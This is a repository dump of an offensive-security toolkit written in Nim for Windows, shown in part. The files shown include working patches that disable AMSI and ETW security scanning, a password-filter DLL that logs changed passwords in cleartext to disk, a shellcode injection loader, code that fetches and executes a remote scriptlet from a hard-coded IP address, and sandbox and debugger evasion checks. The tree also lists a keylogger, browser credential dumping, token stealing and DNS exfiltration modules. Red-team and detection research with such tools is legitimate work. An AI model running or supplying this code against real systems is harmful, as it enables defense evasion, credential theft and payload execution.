├── .gitignore ├── bin └── .gitignore ├── rsrc ├── mscoree.lib └── super_secret_stuff.zip ├── src ├── pop_winim_bin.nim ├── execute_sct_bin.nim ├── pop_bin.nim ├── pop_winim_lib.nim ├── embed_rsrc_bin.nim ├── syscalls_bin.nim ├── wmiquery_bin.nim ├── named_pipe_client_bin.nim ├── named_pipe_server_bin.nim ├── execute_powershell_bin.nim ├── list_remote_shares.nim ├── scriptcontrol_bin.nim ├── passfilter_lib.nim ├── dynamic_shellcode_local_inject_bin.nim ├── anti_analysis_isdebuggerpresent.nim ├── http_request_bin.nim ├── encrypt_decrypt_bin.nim ├── sandbox_domain_check.nim ├── etw_patch_bin.nim ├── amsi_patch_bin.nim ├── amsi_providerpatch_bin.nim ├── ldap_query_bin.nim ├── token_steal_cmd.nim ├── out_compressed_dll_bin.nim ├── shellcode_inline_asm_bin.nim ├── rsrc_section_shellcode.nim ├── memfd_python_interpreter_bin.nim ├── unhookc.nim ├── dns_exfiltrate.nim ├── minidump_bin.nim ├── self_delete_bin.nim ├── unhook.nim ├── chrome_dump_bin.nim ├── uuid_exec_bin.nim ├── clr_host_cpp_embed_bin.nim ├── blockdlls_acg_ppid_spoof_bin.nim ├── shellcode_callback_bin.nim ├── shellcode_fiber.nim ├── excel_com_bin.nim ├── scshell_c_embed_bin.nim ├── shellcode_bin.nim ├── suspended_thread_injection.nim ├── fltmc_bin.nim ├── sandbox_process_bin.nim ├── taskbar_ewmi_bin.nim ├── keylogger_bin.nim ├── fork_dump_bin.nim └── execute_assembly_bin.nim ├── .devcontainer ├── Dockerfile └── devcontainer.json ├── Makefile ├── LICENSE ├── wip ├── excel_4_com_bin.nim └── amsi_patch_2_bin.nim ├── README_CN.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | vscode/ -------------------------------------------------------------------------------- /bin/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /rsrc/mscoree.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S3cur3Th1sSh1t/OffensiveNim/HEAD/rsrc/mscoree.lib -------------------------------------------------------------------------------- /rsrc/super_secret_stuff.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S3cur3Th1sSh1t/OffensiveNim/HEAD/rsrc/super_secret_stuff.zip -------------------------------------------------------------------------------- /src/pop_winim_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/com 7 | 8 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) -------------------------------------------------------------------------------- /src/execute_sct_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | SCT file execution 6 | ]# 7 | 8 | import winim/com 9 | 10 | var scriptlet = GetObject("script:http://172.16.164.1:8000/test.sct") 11 | scriptlet.Exec() -------------------------------------------------------------------------------- /src/pop_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | type 7 | HANDLE* = int 8 | HWND* = HANDLE 9 | UINT* = int32 10 | LPCSTR* = cstring 11 | 12 | proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 13 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} 14 | 15 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 16 | -------------------------------------------------------------------------------- /src/pop_winim_lib.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | 8 | proc NimMain() {.cdecl, importc.} 9 | 10 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 11 | NimMain() # You must manually import and start Nim's garbage collector if you define you're own DllMain 12 | 13 | if fdwReason == DLL_PROCESS_ATTACH: 14 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 15 | 16 | return true -------------------------------------------------------------------------------- /src/embed_rsrc_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import zippy/ziparchives 7 | import strformat 8 | import streams 9 | import os 10 | 11 | const MY_RESOURCE = slurp("../rsrc/super_secret_stuff.zip") 12 | 13 | let path: string = getEnv("LOCALAPPDATA") / "Temp" 14 | 15 | proc extractStuff(): bool = 16 | var archive = ZipArchive() 17 | let dataStream = newStringStream(MY_RESOURCE) 18 | 19 | archive.open(dataStream) 20 | archive.extractAll(path) 21 | archive.clear() 22 | 23 | return true 24 | 25 | echo fmt"[*] Path to extract to: {path}" 26 | if extractStuff(): 27 | echo fmt"[*] extracted" 28 | -------------------------------------------------------------------------------- /src/syscalls_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/outflanknl/WdToggle/blob/main/Syscalls.h#L5 7 | - https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/ 8 | ]# 9 | 10 | {.passC:"-masm=intel".} 11 | 12 | import winim/lean 13 | 14 | proc GetTEBAsm64(): LPVOID {.asmNoStackFrame.} = 15 | asm """ 16 | push rbx 17 | xor rbx, rbx 18 | xor rax, rax 19 | mov rbx, qword ptr gs:[0x30] 20 | mov rax, rbx 21 | pop rbx 22 | jno theEnd 23 | theEnd: 24 | ret 25 | """ 26 | 27 | var p = GetTEBAsm64() 28 | echo repr(p) 29 | -------------------------------------------------------------------------------- /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/debian/.devcontainer/base.Dockerfile 2 | 3 | # [Choice] Debian version (use bullseye or stretch on local arm64/Apple Silicon): bullseye, buster, stretch 4 | ARG VARIANT="buster" 5 | FROM mcr.microsoft.com/vscode/devcontainers/base:0-${VARIANT} 6 | 7 | # ** [Optional] Uncomment this section to install additional packages. ** 8 | RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ 9 | && apt-get -y install --no-install-recommends build-essential mingw-w64 binutils 10 | 11 | USER vscode 12 | ENV CHOOSENIM_NO_ANALYTICS 1 13 | ENV PATH $HOME/.nimble/bin:$PATH 14 | RUN echo 'export PATH="$HOME/.nimble/bin:$PATH"' >> ~/.profile -------------------------------------------------------------------------------- /src/wmiquery_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Winim's examples are extremely useful 6 | 7 | Reference: 8 | - https://github.com/khchen/winim/blob/df04327df3016888e43d01c464b008d619253198/examples/com/diskinfo.nim 9 | ]# 10 | 11 | import winim/com 12 | 13 | echo "Getting installed AV products" 14 | var wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2") 15 | for i in wmi.execQuery("SELECT displayName FROM AntiVirusProduct"): 16 | echo "AntiVirusProduct: ", i.displayName 17 | 18 | echo "\n" 19 | 20 | echo "Getting processes" 21 | wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 22 | for i in wmi.execQuery("select * from win32_process"): 23 | echo i.handle, ", ", i.name 24 | -------------------------------------------------------------------------------- /src/named_pipe_client_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | 8 | var pipe: HANDLE = CreateFile( 9 | r"\\.\pipe\crack", 10 | GENERIC_READ or GENERIC_WRITE, 11 | FILE_SHARE_READ or FILE_SHARE_WRITE, 12 | NULL, 13 | OPEN_EXISTING, 14 | FILE_ATTRIBUTE_NORMAL, 15 | 0 16 | ) 17 | 18 | if bool(pipe): 19 | echo "[*] Connected to server" 20 | try: 21 | var 22 | buffer: array[100, char] 23 | bytesRead: DWORD 24 | 25 | var result: BOOL = ReadFile( 26 | pipe, 27 | addr buffer, 28 | (DWORD)buffer.len, 29 | addr bytesRead, 30 | NULL 31 | ) 32 | echo "[*] bytes read: ", bytesRead 33 | echo repr(buffer) 34 | finally: 35 | CloseHandle(pipe) 36 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | vpath %.exe bin/ 2 | vpath %.dll bin/ 3 | vpath %.nim src/ 4 | 5 | #NIMFLAGS = -d=danger -d=mingw -d=strip --passc=-flto --passl=-flto --opt=size 6 | NIMFLAGS = -d=debug -d=mingw --embedsrc=on --hints=on 7 | 8 | SRCS_BINS = $(notdir $(wildcard src/*_bin.nim)) 9 | SRCS_LIBS = $(notdir $(wildcard src/*_lib.nim)) 10 | BINS = $(patsubst %.nim,%.exe,$(SRCS_BINS)) 11 | DLLS = $(patsubst %.nim,%.dll,$(SRCS_LIBS)) 12 | 13 | .PHONY: clean 14 | 15 | default: build 16 | 17 | build: $(BINS) $(DLLS) 18 | 19 | rebuild: clean build 20 | 21 | clean: 22 | rm -rf bin/*.exe bin/*.dll 23 | 24 | %.exe : %.nim 25 | nim c $(NIMFLAGS) --app=console --cpu=amd64 --out=bin/$*_64.exe $< 26 | #nim c $(NIMFLAGS) --app=console --cpu=i386 --out=bin/$*_32.exe $< 27 | 28 | %.dll: %.nim 29 | nim c $(NIMFLAGS) --app=lib --nomain --cpu=amd64 --out=bin/$*_64.dll $< 30 | #nim c $(NIMFLAGS) --app=lib --nomain --cpu=i386 --out=bin/$*_32.dll $< -------------------------------------------------------------------------------- /src/named_pipe_server_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | 8 | var pipe: HANDLE = CreateNamedPipe( 9 | r"\\.\pipe\crack", 10 | PIPE_ACCESS_DUPLEX, 11 | PIPE_TYPE_BYTE, 12 | 1, 13 | 0, 14 | 0, 15 | 0, 16 | NULL 17 | ) 18 | 19 | if not bool(pipe) or pipe == INVALID_HANDLE_VALUE: 20 | echo "[X] Server pipe creation failed" 21 | quit(1) 22 | 23 | try: 24 | echo "[*] Waiting for client(s)" 25 | var result: BOOL = ConnectNamedPipe(pipe, NULL) 26 | echo "[*] Client connected" 27 | 28 | var data: cstring = "*** Hello from the pipe server ***" 29 | var bytesWritten: DWORD 30 | WriteFile( 31 | pipe, 32 | data, 33 | (DWORD) data.len, 34 | addr bytesWritten, 35 | NULL 36 | ) 37 | echo "[*] bytes written: ", bytesWritten 38 | 39 | finally: 40 | CloseHandle(pipe) 41 | -------------------------------------------------------------------------------- /src/execute_powershell_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://gist.github.com/cpoDesign/66187c14092ceb559250183abbf9e774 7 | ]# 8 | 9 | import winim/clr 10 | import sugar 11 | import strformat 12 | 13 | var Automation = load("System.Management.Automation") 14 | dump Automation 15 | var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactory") 16 | dump RunspaceFactory 17 | 18 | var runspace = @RunspaceFactory.CreateRunspace() 19 | dump runspace 20 | 21 | runspace.Open() 22 | 23 | var pipeline = runspace.CreatePipeline() 24 | dump pipeline 25 | pipeline.Commands.AddScript("Get-Process") 26 | pipeline.Commands.Add("Out-String") 27 | 28 | var results = pipeline.Invoke() 29 | 30 | for i in countUp(0,results.Count()-1): 31 | echo results.Item(i) 32 | 33 | dump results 34 | echo results.isType() 35 | var t = results.GetType() 36 | dump t 37 | discard readLine(stdin) 38 | echo t.isType() 39 | echo t.unwrap.vt 40 | runspace.Close() -------------------------------------------------------------------------------- /src/list_remote_shares.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | import std/parseopt 3 | import os 4 | 5 | var target = "" 6 | var p = initOptParser(commandLineParams()) 7 | while true: 8 | p.next() 9 | case p.kind 10 | of cmdEnd: break 11 | of cmdArgument: 12 | target = p.key 13 | else: 14 | discard 15 | if target == "": 16 | echo("Usage: ", getAppFilename(), " ") 17 | quit(1) 18 | 19 | var structSize = sizeOf(typeof(SHARE_INFO_502)) 20 | var buf: PSHARE_INFO_502 21 | var entriesread: DWORD 22 | entriesread = 0 23 | var totalentries: DWORD 24 | totalentries = 0 25 | var resume_handle: DWORD 26 | resume_handle = 0 27 | var ret = NetShareEnum(target,502,cast[ptr LPBYTE](&buf), MAX_PREFERRED_LENGTH, &entriesread, &totalentries,&resume_handle) 28 | if NT_SUCCESS(ret) == true: 29 | var currentPtr = buf 30 | for i in 1 .. entriesread: 31 | echo(currentPtr.shi502_netname, " -> ", currentPtr.shi502_path) 32 | currentPtr = cast[PSHARE_INFO_502](cast[int](currentPtr) + cast[int](structSize)) 33 | NetApiBufferFree(buf); 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/scriptcontrol_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Stolen from Winim's examples with a few modifications 6 | - https://github.com/khchen/winim/blob/df04327df3016888e43d01c464b008d619253198/examples/com/MSScriptControl_ScriptControl.nim 7 | ]# 8 | 9 | import strformat 10 | import system 11 | import winim/com 12 | 13 | when defined(amd64): 14 | echo "ScriptControl only support windows i386 version" 15 | quit(1) 16 | 17 | var obj = CreateObject("MSScriptControl.ScriptControl") 18 | obj.allowUI = true 19 | obj.useSafeSubset = false 20 | 21 | obj.language = "JavaScript" 22 | var exp = "Math.pow(5, 2) * Math.PI" 23 | var answer = obj.eval(exp) 24 | var msg = fmt"{exp} = {$answer}" 25 | 26 | obj.language = "VBScript" 27 | var title = "Windows COM for Nim" 28 | var vbs = fmt""" 29 | MsgBox("This is a VBScript message box." & vbCRLF & "{msg}", vbOKOnly, "{title}") 30 | """ 31 | 32 | obj.eval(vbs) 33 | 34 | try: 35 | obj.eval "MsgBox()" 36 | except COMException: 37 | echo fmt"Error: ""{getCurrentExceptionMsg()}""" -------------------------------------------------------------------------------- /src/passfilter_lib.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Install with the passfilter.bat file here https://github.com/zerosum0x0/defcon-25-workshop/blob/master/src/passfilter/passfilter.bat 6 | 7 | Reference: 8 | - https://github.com/zerosum0x0/defcon-25-workshop/blob/master/src/passfilter/passfilter/passfilter.c 9 | ]# 10 | 11 | import strformat 12 | import winim/lean 13 | 14 | proc NimMain() {.cdecl, importc.} 15 | 16 | proc PasswordChangeNotify(UserName: PUNICODE_STRING, RelativeId: ULONG, NewPassword: PUNICODE_STRING): NTSTATUS {.stdcall, exportc, dynlib.} = 17 | NimMain() # Initialize Nim's GC 18 | 19 | let f = open(r"C:\passwords.txt", fmAppend) 20 | defer: f.close() 21 | 22 | f.writeline(fmt"Username: {UserName.Buffer}, NewPassword: {NewPassword.Buffer}") 23 | 24 | return 0 25 | 26 | proc InitializeChangeNotify(): BOOL {.stdcall, exportc, dynlib.} = 27 | return true 28 | 29 | proc PasswordFilter(AccountName: PUNICODE_STRING, FullName: PUNICODE_STRING, Password: PUNICODE_STRING, SetOperation: BOOL): BOOL {.stdcall, exportc, dynlib.} = 30 | return true 31 | 32 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 33 | return true 34 | -------------------------------------------------------------------------------- /src/dynamic_shellcode_local_inject_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Guillaume Caillé, Twitter: @OffenseTeacher 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | import winim/lean 8 | 9 | proc innerMain(shellcode: ptr, size: int): void = 10 | let tProcess = GetCurrentProcessId() 11 | var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess) 12 | 13 | let rPtr = VirtualAllocEx( 14 | pHandle, 15 | NULL, 16 | cast[SIZE_T](size), 17 | MEM_COMMIT, 18 | PAGE_EXECUTE_READ_WRITE 19 | ) 20 | 21 | copyMem(rPtr, shellcode, size) 22 | let f = cast[proc(){.nimcall.}](rPtr) 23 | f() 24 | 25 | when defined(windows): 26 | when isMainModule: 27 | const sc_length: int = 941 #Set the final shellcode length. Is necessary to cast the shellcode as a pointer later 28 | 29 | #Do what you want to obfuscate your shellcode as long as you end with a decoded/decrypted seq[byte] with a length of the sc_length variable 30 | #Seems to crash with metasploit's messagebox but works fine with CobaltStrike 31 | var shellcode: seq[byte] = @[byte 0xfc, 0x48] #Replace with your own shellcode 32 | 33 | var shellcodePtr = (cast[ptr array[sc_length, byte]](addr shellcode[0])) 34 | innerMain(shellcodePtr, len(shellcode)) -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2020 Marcello Salvati 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIEDi 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 21 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /src/anti_analysis_isdebuggerpresent.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: HuskyHacks 3 | License: BSD 3-Clause 4 | 5 | Compile: 6 | nim c -d:mingw --cpu=amd64 --app=console anti_analysis_isdebuggerpresent.nim 7 | ]# 8 | 9 | import winim 10 | 11 | # If you want to see the console out with an --app=console build, uncomment this import 12 | # import strformat 13 | 14 | # Uncomment for convinience breakpoint function that hangs the program until you hit enter in the console window 15 | # proc breakpoint(): void = 16 | # discard(readLine(stdin)) 17 | 18 | # Using winim's library to perform the check and convert the WINBOOL result into a simple bool for ease of access 19 | proc checkForDebugger(): bool = 20 | winimConverterBOOLToBoolean(IsDebuggerPresent()) 21 | 22 | proc main(): void = 23 | let debuggerIsDetected = checkForDebugger() 24 | # Uncomment to see the console output in an --app=console build 25 | # echo fmt"[*] Debugger Detected: {debuggerIsDetected}" 26 | 27 | if debuggerIsDetected: 28 | MessageBox(0, "Oh, you think you're slick, huh? I see your debugger over there. No soup for you!", "MEGASUSBRO", 0) 29 | quit(1) 30 | else: 31 | MessageBox(0, "No debugger detected! Cowabunga, dudes!", "COAST IS CLEAR", 0) 32 | MessageBox(0, "Boom!", "PAYLOAD", 0) 33 | 34 | # Breakpoint for convinience 35 | # breakpoint() 36 | 37 | when isMainModule: 38 | main() -------------------------------------------------------------------------------- /src/http_request_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | You have 4 options (that I'm aware of at the time of writing) to make an HTTP request with Nim from Windows: 6 | 7 | - Use Nim's builtin httpclient library (which has it's own HTTP implementation and uses raw sockets) 8 | - Warning: httpclient module currently doesn't perform cert validation, see https://nim-lang.org/docs/httpclient.html#sslslashtls-support 9 | 10 | - Use the WinHttp Com Object (through Winim) apperently that's a thing. Either didn't know about it or forgot about it. 11 | 12 | - Use Winim's wininet or winhttp modules which call their respective Windows API's 13 | 14 | - Use the IE Com Object (through Winim) 15 | 16 | The first two of those are by far the easiest. 17 | 18 | References: 19 | - https://github.com/khchen/winim/blob/master/examples/com/InternetExplorer_Application.nim 20 | - https://github.com/khchen/winim/blob/master/examples/com/WinHttp_WinHttpRequest.nim 21 | 22 | ]# 23 | 24 | 25 | import winim/com 26 | import httpclient 27 | 28 | echo "[*] Using httpclient" 29 | var client = newHttpClient() 30 | echo client.getContent("https://ifconfig.me") 31 | 32 | echo "[*] Using the WinHTTP.WinHttpRequest COM Object" 33 | var obj = CreateObject("WinHttp.WinHttpRequest.5.1") 34 | obj.open("get", "https://ifconfig.me") 35 | obj.send() 36 | echo obj.responseText 37 | -------------------------------------------------------------------------------- /src/encrypt_decrypt_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | AES256-CTR Encryption/Decryption 7 | ]# 8 | 9 | import nimcrypto 10 | import nimcrypto/sysrand 11 | import base64 12 | 13 | func toByteSeq*(str: string): seq[byte] {.inline.} = 14 | ## Converts a string to the corresponding byte sequence. 15 | @(str.toOpenArrayByte(0, str.high)) 16 | 17 | var 18 | data: seq[byte] = toByteSeq(decode("SGVsbG8gV29ybGQ=")) 19 | envkey: string = "TARGETDOMAIN" 20 | 21 | ectx, dctx: CTR[aes256] 22 | key: array[aes256.sizeKey, byte] 23 | iv: array[aes256.sizeBlock, byte] 24 | plaintext = newSeq[byte](len(data)) 25 | enctext = newSeq[byte](len(data)) 26 | dectext = newSeq[byte](len(data)) 27 | 28 | # Create Random IV 29 | discard randomBytes(addr iv[0], 16) 30 | 31 | # We do not need to pad data, `CTR` mode works byte by byte. 32 | copyMem(addr plaintext[0], addr data[0], len(data)) 33 | 34 | # Expand key to 32 bytes using SHA256 as the KDF 35 | var expandedkey = sha256.digest(envkey) 36 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 37 | 38 | ectx.init(key, iv) 39 | ectx.encrypt(plaintext, enctext) 40 | ectx.clear() 41 | 42 | dctx.init(key, iv) 43 | dctx.decrypt(enctext, dectext) 44 | dctx.clear() 45 | 46 | echo "IV: ", toHex(iv) 47 | echo "KEY: ", expandedkey 48 | echo "PLAINTEXT: ", toHex(plaintext) 49 | echo "ENCRYPTED TEXT: ", toHex(enctext) 50 | echo "DECRYPTED TEXT: ", toHex(dectext) -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: 2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/debian 3 | { 4 | "name": "Debian", 5 | "build": { 6 | "dockerfile": "Dockerfile", 7 | // Update 'VARIANT' to pick an Debian version: bullseye, buster, stretch 8 | // Use bullseye or stretch on local arm64/Apple Silicon. 9 | "args": { "VARIANT": "bullseye" } 10 | }, 11 | 12 | // Set *default* container specific settings.json values on container create. 13 | "settings": {}, 14 | 15 | // Add the IDs of extensions you want installed when the container is created. 16 | "extensions": [ 17 | "kosz78.nim", 18 | "ms-vscode.cpptools" 19 | ], 20 | 21 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 22 | // "forwardPorts": [], 23 | 24 | // Uncomment to use the Docker CLI from inside the container. See https://aka.ms/vscode-remote/samples/docker-from-docker. 25 | // "mounts": [ "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" ], 26 | 27 | // Uncomment when using a ptrace-based debugger like C++, Go, and Rust 28 | // "runArgs": [ "--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined" ], 29 | 30 | "postCreateCommand": "curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y && nimble -y install winim c2nim", 31 | 32 | // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. 33 | "remoteUser": "vscode", 34 | "features": { 35 | "git": "latest" 36 | } 37 | } -------------------------------------------------------------------------------- /src/sandbox_domain_check.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Shashwat Shah, Twitter: @0xEr3bus 3 | License: BSD 3-Clause 4 | Using Network Management Windows API to check if the computer is connected to domain. Used for sandbox evasion. 5 | References: 6 | - https://ppn.snovvcrash.rocks/red-team/maldev/sandbox-evasion 7 | - https://github.com/khchen/winim/blob/a485708a243e2f2acbce783027b8cf8582536414/winim/inc/lm.nim#L3988 8 | - https://learn.microsoft.com/en-us/windows/win32/api/lmjoin/nf-lmjoin-netgetjoininformation 9 | Compile: 10 | nim c -d=mingw --app=console --checks:off -d:danger --deadCodeElim:op --hints:off --passc=-flto --passl=-flto --stackTrace:off --lineTrace:off -d:strip --opt:size --cpu=amd64 sandbox_domain_check.nim 11 | strip sandbox_domain_check.exe; upx sandbox_domain_check.exe 12 | ]# 13 | 14 | import winim 15 | 16 | 17 | proc IsDomainJoined(): bool = 18 | var joined = false 19 | var lpNameBuffer: LPWSTR 20 | lpNameBuffer = nil 21 | var joinStatus: NETSETUP_JOIN_STATUS 22 | joinStatus = netSetupUnknownStatus 23 | var status: NET_API_STATUS 24 | status = NetGetJoinInformation(lpNameBuffer, &lpNameBuffer, &joinStatus) 25 | if status == NERR_Success: 26 | joined = joinStatus == netSetupDomainName 27 | 28 | if lpNameBuffer != nil: 29 | NetApiBufferFree(lpNameBuffer) 30 | 31 | return joined 32 | 33 | 34 | var result = IsDomainJoined() 35 | if not result: 36 | echo "[-] Wrong choice, you aren't connected!" 37 | quit(1) 38 | else: 39 | echo "[+] Sounds Fair, you are connected!" 40 | quit(0) 41 | -------------------------------------------------------------------------------- /src/etw_patch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Marcello Salvati, S3cur3Th1sSh1t, Twitter: @byt3bl33d3r, @Shitsecure 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import strformat 8 | import dynlib 9 | 10 | when defined amd64: 11 | echo "[*] Running in x64 process" 12 | const patch: array[1, byte] = [byte 0xc3] 13 | elif defined i386: 14 | echo "[*] Running in x86 process" 15 | const patch: array[4, byte] = [byte 0xc2, 0x14, 0x00, 0x00] 16 | 17 | proc Patchntdll(): bool = 18 | var 19 | ntdll: LibHandle 20 | cs: pointer 21 | op: DWORD 22 | t: DWORD 23 | disabled: bool = false 24 | 25 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 26 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 27 | ntdll = loadLib("ntdll") 28 | if isNil(ntdll): 29 | echo "[X] Failed to load ntdll.dll" 30 | return disabled 31 | 32 | cs = ntdll.symAddr("EtwEventWrite") # equivalent of GetProcAddress() 33 | if isNil(cs): 34 | echo "[X] Failed to get the address of 'EtwEventWrite'" 35 | return disabled 36 | 37 | if VirtualProtect(cs, patch.len, 0x40, addr op): 38 | echo "[*] Applying patch" 39 | copyMem(cs, unsafeAddr patch, patch.len) 40 | VirtualProtect(cs, patch.len, op, addr t) 41 | disabled = true 42 | 43 | return disabled 44 | 45 | when isMainModule: 46 | var success = Patchntdll() 47 | echo fmt"[*] ETW blocked by patch: {bool(success)}" 48 | -------------------------------------------------------------------------------- /src/amsi_patch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | ]# 6 | 7 | import winim/lean 8 | import strformat 9 | import dynlib 10 | 11 | when defined amd64: 12 | echo "[*] Running in x64 process" 13 | const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3] 14 | elif defined i386: 15 | echo "[*] Running in x86 process" 16 | const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00] 17 | 18 | proc PatchAmsi(): bool = 19 | var 20 | amsi: LibHandle 21 | cs: pointer 22 | op: DWORD 23 | t: DWORD 24 | disabled: bool = false 25 | 26 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() on windows 27 | # it also returns nil if something goes wrong meaning we can add some checks in the code to make sure everything's ok (which you can't really do well when using LoadLibrary() directly through winim) 28 | amsi = loadLib("amsi") 29 | if isNil(amsi): 30 | echo "[X] Failed to load amsi.dll" 31 | return disabled 32 | 33 | cs = amsi.symAddr("AmsiScanBuffer") # equivalent of GetProcAddress() 34 | if isNil(cs): 35 | echo "[X] Failed to get the address of 'AmsiScanBuffer'" 36 | return disabled 37 | 38 | if VirtualProtect(cs, patch.len, 0x40, addr op): 39 | echo "[*] Applying patch" 40 | copyMem(cs, unsafeAddr patch, patch.len) 41 | VirtualProtect(cs, patch.len, op, addr t) 42 | disabled = true 43 | 44 | return disabled 45 | 46 | when isMainModule: 47 | var success = PatchAmsi() 48 | echo fmt"[*] AMSI 